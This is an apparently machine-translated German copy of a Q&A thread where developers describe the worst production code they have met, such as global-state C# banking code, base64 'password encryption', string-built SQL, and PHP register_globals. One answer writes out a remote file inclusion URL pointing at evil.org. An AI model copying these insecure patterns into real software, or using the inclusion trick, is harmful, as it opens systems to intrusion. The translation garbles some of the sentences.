Was ist der BÖSIGSTE Code, den Sie jemals in einer Produktionsunternehmensumgebung gesehen haben?

Was ist das böse oder gefährliche code-fragment, das du je gesehen hast in eine Produktionsumgebung in einem Unternehmen? Ich habe noch nie aufgetreten production code, würde ich prüfen, werden bewusst schädliche und böse, so bin ich Recht neugierig zu sehen, was andere gefunden haben.

Den meisten gefährlichen code, den ich je gesehen habe war eine gespeicherte Prozedur, die zwei verlinkten Servern Weg von unserem Kern-Produktions-Datenbank-server. Die gespeicherte Prozedur akzeptiert alle vom Datentyp NVARCHAR(8000) parameter und ausgeführt, die parameter an die Ziel-Produktions-server über einen Doppel-Sprung sp_executeSQL-Befehl. Das heißt, der sp_executeSQL-Befehl ausgeführt, andere sp_executeSQL-Befehl, um zu springen, zwei verbindungsservern. Ach ja, und die verlinkten server-Konto hatte sysadmin-Rechte auf dem Ziel-Produktions-server.

InformationsquelleAutor der Frage |

anti-patterns

331

Warnung: Lange, scary post vor

Habe ich geschrieben über eine Anwendung, mit der ich gearbeitet habe, bevor hier und hier. Um es einfach auszudrücken, meine Firma geerbt als 130.000 Zeilen Müll aus Indien. Die Anwendung wurde in C# geschrieben; es war ein Erzähler-app, die die gleiche Art von software Stimmenzähler Einsatz hinter der Theke, wenn Sie zur bank gehen. Die app abgestürzt ist 40-50 mal am Tag, und es könnte nicht einfach umgestaltet werden in funktionierenden code. Meine Firma hatte zu re-schreiben die gesamte app über einen Zeitraum von 12 Monaten.

Warum ist diese Anwendung böse? Denn der Anblick der source-code war genug, um Laufwerk ein geistig gesunder Mann, der verrückt und verrückt Mann gesund. Die verdrehte Logik zu schreiben, die diese Anwendung haben könnte, nur wurde inspiriert durch eine Lovecraftian Alptraum. Einzigartige Funktionen dieser Anwendung enthalten:

Heraus 130.000 Zeilen code, die gesamte Anwendung enthalten sind 5 Klassen (ohne form-Dateien). Diese waren alle öffentlichen statischen Klassen. Eine Klasse namens Globals.cs enthielt 1000s und 1000s und 1000s von öffentlichen, statischen Variablen verwendet, um den gesamten Zustand der Anwendung. Diese fünf Klassen von 20.000 Zeilen code insgesamt, mit den restlichen code eingebettet in die Formen.
Muss man sich Fragen, wie haben die Programmierer zu verwalten, zu schreiben, wie eine große Anwendung, ohne Klassen? Was haben Sie zur Darstellung Ihrer Daten-Objekte? Es stellt sich heraus das die Programmierer geschafft neu zu erfinden, die Hälfte der Konzepte, die wir alle gelernt, über OOP einfach durch die Kombination von ArrayLists, HashTables, und DataTables. Wir sahen eine Menge von dieser:
- ArrayLists von hashtables
- Hashtables mit string-Schlüsseln und DataRow-Werte
- ArrayLists von DataTables
- Von DataRows mit ArrayLists, die HashTables
- ArrayLists der von DataRows
- ArrayLists von ArrayLists
- HashTables mit string-Schlüssel und Hash-Werte
- ArrayLists von ArrayLists von HashTables
- Jede andere Kombination von ArrayLists, Hashtabellen, DataTables, die Sie sich vorstellen können.
Beachten Sie, keine Daten, Strukturen oben sind stark typisiert, so dass Sie haben zu werfen, was mystery-Objekt bekommen Sie aus der Liste, um den richtigen Typ. Es ist erstaunlich, was für eine Art von Komplex, Rube Goldberg-like Datenstrukturen erstellen Sie mit nur ArrayLists, HashTables, und DataTables.
Teilen ein Beispiel für die Verwendung der Objekt-Modell oben betrachten-Konten: der ursprüngliche Programmierer erstellt eine separate Hashtabelle für jeden concievable Eigenschaft eines Kontos: eine Hash-Tabelle genannt hstAcctExists, hstAcctNeedsOverride, hstAcctFirstName. Der Schlüssel für all diejenigen, die hashtables war ein "|" getrennten string. Denkbar Schlüssel "123456|DDA", "24100|SVG", "100|LNS", etc.
Da der Zustand der gesamten Anwendung war leicht zugänglich von globalen Variablen, die Programmierer haben es nicht nötig ist, übergeben von Parametern an Methoden. Ich würde sagen, dass 90% der Methoden nahmen 0 Parameter. Von den wenigen, die es Taten, wurden alle Parameter als strings übergeben, die für Bequemlichkeit, unabhängig davon, was der string dargestellt.
Nebenwirkungsfreie Funktionen nicht vorhanden sind. Jede Methode, modifiziert 1 oder mehr Variablen in der Globals-Klasse. Nicht alle Nebenwirkungen Sinn; zum Beispiel, einer der Formular-Validierung Methoden hatte eine mysteriöse Nebenwirkung der Berechnung über kurze und Zahlungen auf Darlehen für was auch immer account wurde gespeichert Globals.lngAcctNum.
Obwohl es gab viele Formen, es war eine form, Sie alle zu Knechten: frmMain.cs enthielt eine satte 20,000 Zeilen code. Was hat frmMain tun? Alles. Es sah aus, bis die Konten, Quittungen gedruckt, abgegeben Bar, es hat alles.

Manchmal andere Formen benötigt, um Methoden aufzurufen, die auf frmMain. Eher als Faktor, der code aus dem Formular in eine separate Klasse, warum nicht einfach aufrufen, den code direkt:
```
((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
```
Nachschlagen Konten, die Programmierer haben so etwas wie dieses:
```
bool blnAccountExists =
    new frmAccounts().GetAccountInfo().blnAccountExists
```
So schlimm wie es schon ist die Schaffung eine unsichtbare form durchführen, business-Logik, wie denken Sie, die form kannte, die Rechnung zu suchen? Das ist einfach: das Formular könnte so Zugriff auf Globals.lngAcctNum und Globals.strAcctType. (Wer liebt nicht die Ungarische notation?)
Code-Wiederverwendung war ein synonym für Strg-c, Strg-v. ich fand 200-line-Methoden copy/Paste über 20 Formen.
Musste die Anwendung eine bizarre threading-Modell, etwas, was ich nennen möchte den thread-und-timer-Modell: jedes Formular, das erzeugt eine thread hatte einen timer auf. Jeder thread, der erzeugt startete ein timer, der hatte eine 200 ms Verzögerung; sobald der timer gestartet, er würde überprüfen, um zu sehen, ob der thread hatten einige magic boolean, dann wäre es zu einem Abbruch der thread. Die daraus resultierende "ThreadAbortException" geschluckt wurde.

Würden Sie denken, Sie würden nur sehen diese Muster einmal, aber ich fand es in mindestens 10 verschiedenen stellen.
Sprechen von threads, die das Schlüsselwort "lock" erschien nie in der Anwendung. Threads manipuliert globalen Staat frei, ohne eine Sperre.
Jede Methode in der Anwendung enthalten einen try/catch-block. Jede exception, die protokolliert wurde, und schluckte.
Wer braucht zum einschalten der Enumerationen, die beim Wechsel auf den Saiten ist genauso einfach!

Einige Genie dachte sich heraus, dass Sie Haken können mehrere Formular-Steuerelemente auf den gleichen event-handler. Wie haben die Programmierer umgehen?

private void OperationButton_Click(object sender, EventArgs e)
{
    Button btn = (Button)sender;
    if (blnModeIsAddMc)
    {
        AddMcOperationKeyPress(btn);
    }
    else
    {
        string strToBeAppendedLater = string.Empty;
        if (btn.Name != "btnBS")
        {
            UpdateText();
        }
        if (txtEdit.Text.Trim() != "Error")
        {
            SaveFormState();
        }
        switch (btn.Name)
        {
            case "btnC":
                ResetValues();
                break;
            case "btnCE":
                txtEdit.Text = "0";
                break;
            case "btnBS":
                if (!blnStartedNew)
                {
                    string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1);
                    DisplayValue((EditText == string.Empty) ? "0" : EditText);
                }
                break;
            case "btnPercent":
                blnAfterOp = true;
                if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                {
                    AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false);
                    decCurrValue = decResultValue * decCurrValue /intFormatFactor;
                    DisplayValue(GetValueString(decCurrValue));
                    AddToTape(GetValueString(decCurrValue), string.Empty, true, false);
                    strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20)
                                                + strOpPressed.PadRight(3);
                    if (arrLstTapeHist.Count == 0)
                    {
                        arrLstTapeHist.Add(strToBeAppendedLater);
                    }
                    blnEqualOccurred = false;
                    blnStartedNew = true;
                }
                break;
            case "btnAdd":
            case "btnSubtract":
            case "btnMultiply":
            case "btnDivide":
                blnAfterOp = true;
                if (txtEdit.Text.Trim() == "Error")
                {
                    btnC.PerformClick();
                    return;
                }
                if (blnNumPressed || blnEqualOccurred)
                {
                    if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                    {
                        if (Operation())
                        {
                            AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                            DisplayValue(GetValueString(decResultValue));
                        }
                        else
                        {
                            AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                            DisplayValue("Error");
                        }
                        strOpPressed = btn.Text;
                        blnEqualOccurred = false;
                        blnNumPressed = false;
                    }
                }
                else
                {
                    strOpPressed = btn.Text;
                    AddToTape(GetValueString(0), (string)btn.Text, false, false);
                }
                if (txtEdit.Text.Trim() == "Error")
                {
                    AddToTape("Error", string.Empty, true, true);
                    btnC.PerformClick();
                    txtEdit.Text = "Error";
                }
                break;
            case "btnEqual":
                blnAfterOp = false;
                if (strOpPressed != string.Empty || strPrevOp != string.Empty)
                {
                    if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                    {
                        if (OperationEqual())
                        {
                            DisplayValue(GetValueString(decResultValue));
                        }
                        else
                        {
                            DisplayValue("Error");
                        }
                        if (!blnEqualOccurred)
                        {
                            strPrevOp = strOpPressed;
                            decHistValue = decCurrValue;
                            blnNumPressed = false;
                            blnEqualOccurred = true;
                        }
                        strOpPressed = string.Empty;
                    }
                }
                break;
            case "btnSign":
                GetValueDecimal(txtEdit.Text, out decCurrValue);
                DisplayValue(GetValueString(-1 * decCurrValue));
                break;
        }
    }
}

Den gleichen Genie entdeckte auch die herrliche ternären operator. Hier sind einige code-Beispiele:

frmTranHist.cs [line 812]:

strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty
                    : chkDebits.Checked ? "D"
                        : chkCredits.Checked ? "C"
                            : "N";

frmTellTransHist.cs [line 961]:

if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))

frmMain.TellCash.cs [line 727]:

if (Validations(parPostMode == "ADD" ? true : false))

Hier ist ein Codeausschnitt, der zeigt, dass die typischen Missbrauch der StringBuilder. Beachten Sie, wie der Programmierer concats einen string in einer Schleife, dann hängt der resultierende string dem StringBuilder-Objekt:

private string CreateGridString()
{
    string strTemp = string.Empty;
    StringBuilder strBuild = new StringBuilder();
    foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows)
    {
        strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' ');
        strTemp += "  ";
        strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy");
        strTemp += "  ";
        strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' ');
        strTemp += "  ";
        strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' ');
        strTemp += "  ";
        strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' ');
        strTemp += "  ";
        strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62);
        strBuild.AppendLine(strTemp);
    }
    strCreateGridString = strBuild.ToString();
    return strCreateGridString;//strBuild.ToString();
}

Kein Primärschlüssel, Indizes oder foreign key-Einschränkungen, die vorhanden waren, auf Tischen, die fast alle Felder vom Typ varchar(50), und 100% der Felder null-Werte zulassen. Interessanterweise bit-Felder nicht verwendet wurden, zu speichern Boolesche Daten; statt char(1) Feld verwendet wurde, und die Zeichen 'Y' und 'N' für true und false bzw..

Spricht von der Datenbank, hier ist ein repräsentatives Beispiel für eine gespeicherte Prozedur:

ALTER PROCEDURE [dbo].[Get_TransHist]
 ( 
      @TellerID   int = null,
      @CashDrawer int = null,
      @AcctNum    bigint = null,
      @StartDate  datetime = null,
      @EndDate    datetime = null,
      @StartTranAmt     decimal(18,2) = null,
      @EndTranAmt decimal(18,2) = null,
      @TranCode   int = null,
      @TranType   int = null
 )
AS 
      declare @WhereCond Varchar(1000)
      declare @strQuery Varchar(2000)
      Set @WhereCond = ' '
      Set @strQuery = ' '
      If not @TellerID is null
            Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar)
      If not @CashDrawer is null
            Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar)
      If not @AcctNum is null
            Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar)
      If not @StartDate is null
            Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + ''''
      If not @EndDate is null
            Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + ''''
      If not @TranCode is null
            Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar)
      If not @EndTranAmt is null
            Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar)
      If not @StartTranAmt is null
            Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt  as varchar)
      If not (@TranType is null or @TranType = -1)
            Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar)
      --Get the Teller Transaction Records according to the filters
      Set @strQuery = 'SELECT 
            TT.TranAmt as [Transaction Amount], 
            TT.TranCode as [Transaction Code],
            RTrim(LTrim(TT.TranDesc)) as [Transaction Description],
            TT.AcctNbr as [Account Number],
            TT.TranID as [Transaction Number],
            Convert(varchar,TT.ActivityDateTime,101) as [Activity Date],
            Convert(varchar,TT.EffDate,101) as [Effective Date],
            Convert(varchar,TT.PostDate,101) as [Post Date],
            Convert(varchar,TT.ActivityDateTime,108) as [Time],
            TT.BatchID,
            TT.ItemID,
            isnull(TT.DocumentID, 0) as DocumentID,
            TT.TellerName,
            TT.CDId,
            TT.ChkNbr,
            RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr,
            (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode,
            DispensedYN
      FROM TellerTrans TT WITH (NOLOCK)
      LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType
      WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID'    
      Exec (@strQuery)

Mit allen, sagte, das größte problem mit dieser 130,000 line Anwendung: keine unit-tests.

Ja, ich habe diese Geschichte TheDailyWTF, und dann habe ich meinen job gekündigt.

InformationsquelleAutor der Antwort

70

Ich habe eine Passwort-Verschlüsselung-Funktion wie diese
```
function EncryptPassword($password)
{
    return base64_encode($password);
}
```
InformationsquelleAutor der Antwort
69

In einem system, das nahm Kredit card Zahlungen, die wir verwendet, um zu speichern die vollständige Kreditkarten-Nummer zusammen mit Namen, Ablaufdatum etc.

Stellt sich heraus, das ist illegal, das ist ironisch, angesichts der wir waren, der das Programm schreibt für das Justizministerium an der Zeit.

InformationsquelleAutor der Antwort
30

War dies der error-handling-routine, in der ein Stück des HGB:
```
/* FIXME! */
while (TRUE)
    ;
```
Ich soll herausfinden, warum "die app hängt sich ständig auf".

InformationsquelleAutor der Antwort
28

Kombination aus all dem folgenden Php - "Features" auf einmal.
1. Register Globals
2. Variable Variablen
3. Integration von remote-Dateien und den code über include("http://... ");
4. Wirklich Schrecklichen Arrays/Variablen-Namen ( Literal Beispiel ):
```
foreach( $variablesarry as $variablearry ){
  include( $$variablearry ); 
}
```
  ( Ich habe buchstäblich verbrachte eine Stunde versucht, herauszufinden, wie das funktioniert hat, bevor ich merkte, Sie wern nicht die gleiche variable )
5. Sind 50 Dateien, die jeweils 50 Dateien, und Sachen erfolgt Linear/prozedural in allen 50 Dateien in bedingten und unvorhersehbaren Weise.
Für diejenigen, die nicht wissen, variable Variablen:
```
$x = "hello"; 
$$x = "world"; 
print $hello # "world" ;
```
Betrachten wir nun $x enthält einen Wert aus der URL löschen ( register globals magic ), also nirgends in deinem code ist es offensichtlich, welche Variablen Ihre arbeiten mit, weil Ihr bestimmt alle von der url.

Nun überlegen, was passiert, wenn der Inhalt dieser Variablen kann eine url angegeben, von der Webseiten-Benutzer.
Ja, dies ist vielleicht nicht Sinn, aber es erzeugt eine variable mit dem Namen, der url, sprich:

$http://google.com

außer es kann nicht direkt aufgerufen werden, Sie haben, um es über das doppelte $ - Technik vor.

Darüber hinaus, wenn Ihre Benutzer können eine variable angeben, auf die URL, die angibt, welche Datei gehören, gibt es Fiese tricks wie

http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php

und wenn diese variable taucht in include($include)

und 'evilcode.php' gibt seinen code Klartext, und Php ist unangemessen gesichert, wird php nur Rollbewegung aus, download evilcode.php, und führen Sie es als Benutzer der web-server.

Der web-Server wird es geben, alle seine Berechtigungen etc, permiting shell Aufrufe, herunterladen beliebige binaries und laufen Sie, etc etc, bis Sie schließlich Fragen, warum man eine box an Speicherplatz, und dir hat 8 GB raubkopierte Filme mit italienische Synchronisation, die gemeinsam im IRC per bot.

Ich bin einfach dankbar, entdeckte ich, dass atrocity, bevor das Skript ausgeführt wird der Angriff beschlossen etwas zu tun, was wirklich gefährlich wie die Ernte äußerst vertraulichen Informationen, die von den mehr oder weniger ungesicherten Datenbank 😐

( Ich hätte unterhalten die dailywtf jeden Tag für 6 Monate, codebase, I kid you not. Es ist nur eine Schande, dass ich vor der dailywtf nachdem ich entkommen, code )

InformationsquelleAutor der Antwort
28

In der Haupt-Projekt-header-Datei, die aus einem alten-hand COBOL-Programmierer, der war aus unerklärlichen Gründen das schreiben eines Compilers C:
```
int i, j, k;
```
", So dass Sie nicht zu einem compiler-Fehler, wenn Sie vergessen haben, deklarieren Sie Ihre loop-Variablen."

InformationsquelleAutor der Antwort
25

Windows installer.

InformationsquelleAutor der Antwort

Schreibe einen Kommentar

Du musst angemeldet sein, um einen Kommentar abzugeben.